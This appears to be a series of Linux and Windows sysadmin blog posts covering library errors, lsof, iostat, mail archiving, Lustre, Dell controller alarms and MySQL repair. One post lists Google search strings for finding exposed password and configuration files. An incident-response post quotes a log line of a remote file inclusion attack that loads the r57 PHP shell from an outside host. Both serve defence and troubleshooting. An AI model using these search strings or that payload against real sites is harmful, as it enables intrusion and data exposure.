NoClassDefFoundError – java.awt.Color

Hey everyone,

I recently ran in to an issue where calling functions from java.awt.Color caused a "NoClassDefFoundError" in the JSP page. I restarted resin and kept refreshing this JSP page. I saw a different error message that looked like this:

java.lang.UnsatisfiedLinkError: /usr/java/j2sdk1.4.2_02/jre/lib/i386/libawt.so:
libXp.so.6: cannot open shared object file: No such file or directory
        at java.lang.ClassLoader$NativeLibrary.load(Native Method)
        at java.lang.ClassLoader.loadLibrary0(ClassLoader.java:1560)
        at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1477)
        at java.lang.Runtime.loadLibrary0(Runtime.java:788)
        at java.lang.System.loadLibrary(System.java:834)
        at sun.security.action.LoadLibraryAction.run(LoadLibraryAction.java:50)
        at java.security.AccessController.doPrivileged(Native Method)
        at java.awt.Toolkit.loadLibraries(Toolkit.java:1437)
        at java.awt.Toolkit.<clinit>(Toolkit.java:1458)
        at java.awt.Color.<clinit>(Color.java:250)
        at _map._test2__jsp._jspService(/map/test2.jsp:5)
        at com.caucho.jsp.JavaPage.service(JavaPage.java:75)
        at com.caucho.jsp.Page.subservice(Page.java:506)
        at com.caucho.server.http.FilterChainPage.doFilter(FilterChainPage.java:182)
        at com.caucho.server.http.Invocation.service(Invocation.java:315)
        at com.caucho.server.http.RunnerRequest.handleRequest(RunnerRequest.java:346)
        at com.caucho.server.http.RunnerRequest.handleConnection(RunnerRequest.java:274)
        at com.caucho.server.TcpConnection.run(TcpConnection.java:139)
        at java.lang.Thread.run(Thread.java:534)

This error was much different from the previous error but shows that when AWT was trying to initialize it could not locate "libXp.so.6". Through some more research I found that libXp.so.6 was part of the "xorg-x11-depreciated-libs" package in CentOS 4.5. I issued a "yum -y install xorg-x11-depreciated-libs" and a "ldconfig" to be safe and restarted resin. My java.awt.Color functions seemed to work perfectly after this.

Hopefully this helps someone!

The power of “lsof”

One great command to add to your arsenal is the “lsof” command. This command prints out all open files in Linux.

lsof can be used to help resolve issues like:

  • Can’t unmount device because it is busy; even if you believe it’s not busy.
    umount: /mountpoint: device is busy
  • A process is using a file but you have no idea which process
  • To view a list of active connections (netstat works better for this) and which program and PID (Process ID) is using this socket.

To successfully unmount a device which still complains about being in use simply run the following command:

# lsof | grep “/mountpoint”

This command returns a list of processes and associated PID’s and the user which has that directory or files open. Look for files (usually marked with “REG”) which will allow you to locate the service or program with the file open. Stop this service or at the very extreme kill -9 that process. (A funny video about kill -9)

To search for a file which is in use simply use an alteration of the command above:

# lsof | grep “openfile”

This allows you to locate the process and user using that file.

To view a list of active connections run this command:

# lsof | grep “IPv4”

This returns a list of all open IPv4 connections.

Also be aware that the “lsof” command can take quite some time to run on servers with very large file counts open (Oracle Servers, Web Servers) so please be patient. It’s not uncommon for the lsof command to take about 2-4 seconds to run.

Happy Linuxing!

How to read the iostat command

I believe that most performance issues related to slowness occur because of slow disks or poor application tuning. Memory is a big factor when it comes to OS-level caching and buffering but there’s nothing like a fast SCSI array or even a few WD Raptors in RAID-1.

The Linux utility "iostat" allows you to see a complete overview of disk utilization. The iostat utility does this by looking at the time the device is active in relation to the devices average transfer rate.

Using the iostat utility with the -x flag (-x is for extended statistics) will yield results that look like this:

image

If the iostat command is not available on your system perform one of the following commands to install the sysstat package.

CentOS/RHEL – # yum -y install sysstat
Ubuntu/Debian – # apt-get install sysstat

Pay special attention to the "%util" column of the results. In the example above the percentage of CPU time for I/O requests for /dev/sdb is quite high. This device is actually a large RAID-6 array and has not yet reached its 100% utilization mark. The closer the device or array is to 100% the closer you are to total saturation of that device.

If your utilization numbers are higher than expected take the following into consideration:

  • Tune the application (This is where you can gain the cheapest and most performance)
  • Obtain faster disks (10K+ SATA/SAS/SCSI)
  • Use a larger and more efficient RAID array for your application (RAID 0 for video editing, RAID-10 for databases, RAID-5 for file storage and general access and RAID-6 on newer controllers for increased redundancy)

Happy Linuxing!

OpenSource Mail Archiving

Hey everyone. I ran across a new open-source application called Mailarchiva. This software allows you to archive all of your email for long term storage. This software is easy to install and seems to be very efficient. The company claimed that the open source edition with a decent server (Dual Xeons and sufficient RAM) could archive 1,400,000 messages per day. I was very impressed with their performance claims.

image Mailarchiva provides full-text searching. The enterprise edition will allow for clustering search servers if your archive is significantly large. One main feature missing was the ability to rotate to long term storage such as a tape device. Although disk storage is becoming cheaper and cheaper; a long term storage solution almost always is needed.

Check out MailArchiva here and download the open-source version today. MailArchiva integrates with Exchange 2003, 2007, IpSwitch Imail, Postfix, sendmail, qmail, exim and more!

Wargling (War Googling) Search Terms

Here’s a quick reference for wargling or war-googling. These search terms can be used to provide extra information on sites which may have security issues or to provide extra information on which domains have a certain string in URL’s indexed by Google.

Google Search Term

Wargling Search String

Find similar domains related:<domain|host>
Passwords "index of" passwd.txt
"index of" etc passwd
Include files include db.inc
include config.inc
include config.php
XML resources "index of" wsdl
Enumerate OWA users inurl:exchange inurl:finduser inurl:root
Poor information management "internal use only"
proprietary
confidential
Basic searches "password hint"
"password hint -email"
"show password hint -email"
mrtg
bb4 conn
Find specific files filetype:<type>
type such as .htaccess, .xls, .doc
Find matches in URL inurl<token>
allinurl:<token> [token]
Find information about domain info:<domain|host>
Find links to domain link:<domain|host>

 

The above information is not provided for malicious purposes. Please use the information above to assure you’re not leaking information at your business.

To Cluster with Lustre … or not?

Recently I was tasked with investigating the feasibility of using Lustre (a clustered file system typically used in supercomputing environments) for a solution at my employer. Essentially this system requires a few high-end components to achieve considerable throughput. I’ll attempt to outline the pros and cons to using Lustre in a production environment.

image Lustre started as a cluster-aware file system originally designed by Cluster File Systems, Inc. and was recently acquired by Sun Microsystems. Lustre was designed to be a highly-scalable, high performance file system/cluster solution. The system consists of a few key components at its core.

Picking a clustering file system such as Lustre obviously has to be out of need. These systems, inherently, are more complex and can be prone to failure for that reason. Using Lustre makes sense if you’re looking for a scalable storage solution which can expand over thousands of nodes for storage. High performance must be in mind as well. Most business problems do not need a solution of this magnitude. I guess now would be a good time to cover the terminology used with Lustre.

Terminology

Lustre has some key terms we’ll need to know while reading this short paper.

  • MGS – Management Server (there is one management server per site, this server contains all configuration detail for all Lustre clusters at a site)
  • MDT – Meta Data Target (this server [or pair of servers] stores all meta data needed for where files are stored)
  • OST – Object Storage Target (this is where the data is actually stored and striped across)
  • Lustre Clients (these clients are typically *nix variants)

Now that we have the terminology out of the way I’ll describe how it works (just a high-level overview).

We’ve reviewed the components of the Lustre configuration above. A Lustre MGS stores all configuration data needed for a site. The MDT stores all the meta data needed for where the files are located (pointers to OST’s) and the OST’s have the physical storage needed for object (file) storage.

A key benefit is scalability and performance. Performance is achieved by striping data across all available OST containers. This is what makes Lustre shine. Consequently you’ll need equipment to support that level of speed.

Lustre uses its own network drivers to facilitate network communication between nodes. Currently Lustre supports TCP.IP, Elan, InfiniBand, myrinet and others.

Equipment

Here is where most decisions are made. I suppose Lustre on a 1G network would perform (granted your switching backplane is great) but it also depends on how many clients you have accessing this array of machines. It’s recommended to use a higher-speed communication medium such as 10G or InfiniBand.

The bottom line

The bottom line is very simple. If you need a system which is highly scalable, high performance and very reliable pick Lustre. Remember to gain any considerable speed you will need considerable investments in the network arena. Lustre is not a widely deployed solution in most hosting enterprises but could serve as a good storage back end solution for a cluster of web servers (since Lustre supports reading and writing the same file at the same time from different machines).

* Image provided by Cluster File Systems, Inc.

Tracking down h4X0rZ

This is a quick and dirty document on how to troubleshoot h4xed l00nix boxen.

The scenario is as follows:
Received reports from outside ISPs of an attempted DDoS attack on an IP address in their netblock. After closer investigation this machine had a few rogue processes noticed by issuing “ps auxww”. These commands were listed as “/usr/sbin/httpd” and not the full path to the normal httpd binary on that system. The ps name was forged. After catting “/proc/<pid>/status” I could see that the process running was actually perl. Luckily this particular attack was not a root-level attack. If you suspect a root-level hack please make sure to download a utility like rkhunter to perform a quick and easy scan of the entire system for possible root kits. Also make sure to download staticly-linked binaries of ls, ps, pstree, and strace if you suspect root-level hacking. Hackers usually replace these files to obfuscate their rogue processes and files.

Troubleshooting Steps:

  1. ps auxww (showing all processes)
  2. top (to analyze possible high-load processes)
  3. netstat -tupan | grep <pid> (to see if we can find out if the PID is listening)
  4. strace -p <pid> (to watch what the process is actually doing)
    socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
    ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfffb8a8) = -1 EINVAL (Invalid
    argument)
    _llseek(3, 0, 0xbfffb8e0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
    ioctl(3, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbfffb8a8) = -1 EINVAL (Invalid
    argument)
    _llseek(3, 0, 0xbfffb8e0, SEEK_CUR)     = -1 ESPIPE (Illegal seek)
    fcntl64(3, F_SETFD, FD_CLOEXEC)         = 0
    connect(3, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr
    ("xxx.xxx.xxx.xxx")}, 16) = -1 ECONNREFUSED (Connection refused)
    close(3)
  5. Reading above shows that we were trying to connect outbound to “inet_addr” on port 23. This happened over and over again. This was apparently part of a DDoS. This script is not your normal script.
  6. lsof -p <pid> (this might be helpful to see what files the pid has open)
  7. cat /proc/<pid>/status to see other useful information. Also check /proc/<pid>/cwd to see if the process will give away it’s working directory.
  8. find / -gid <gid of httpd> > /root/apachefiles.txt (I suspected the file was written out from the httpd user so it’s somewhere on the file system)
  9. Download MemGrep

    Memgrep allows you to view memory addresses and view/search contents at that memory address.

    First download, compile and then make. Run memgrep as follows:

    # ./memgrep -p <pid> -L

    Then run memgrep to dump all information from the data (and even the text memory area if necessary) with this command:

    # ./memgrep -p <pid> -d -a <memory address> -l <size in bytes to dump(listed to the right of the mem address)>

    Sometimes this will yeild the hax0r’s name or type of hack.

  10. Check your httpd logs. Most common exploits for PHP scripts are automated (watch out for Mambo and Joomla components!) Most requests come from an agent called libwww-perl. Joomla and Mambo components are usually subject to remote inclusion vulnerabilities. Look for “mosConfig_absolute_path=” in your logs.

    Here’s a sample:

    xxx.xxx.xxx.xxx - - [07/Jun/2007:11:34:38 -0500] "GET /index.php?option=
    com_phpshop&page=shop.registration&option=com_phpshop&Itemid=61/component
    s/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=http://al
    ienr0x.by.ru/r57.txt? HTTP/1.1" 200 14130 "-" "libwww-perl/5.805"
  11. r57.txt is a phpshell script. Once they load the URI above they have access to phpshell where they can read/write/modify and delete any file with permissions for the httpd UID/GID.
  12. Rectify the situation by disabling that component and searching for an upgrade.

How to quiet Dell alarms

Just a quick note. To quiet an alarm on a controller just run the following command:

# omconfig storage controller action=quietalarm controller=<controller id>

Use this command to disable alarms all together:

# omconfig storage controller action=disablealarm controller=<controller id>

Fix errors on Windows 2003 with MySQL 5.0+

The error “Fatal error: Can’t open and lock privilege tables: Table ‘mysql.servers’ doesn’t exist” is caused by some incomplete privilege tables. Please run the following command at a command prompt:

  # cd "Program FilesMySQLMySQL Server 5.2scripts\"
  # mysql --force -uroot -p mysql < mysql_fix_privilege_tables.sql

This did the trick for me – not too sure why this wasn’t part of the install but all is well now.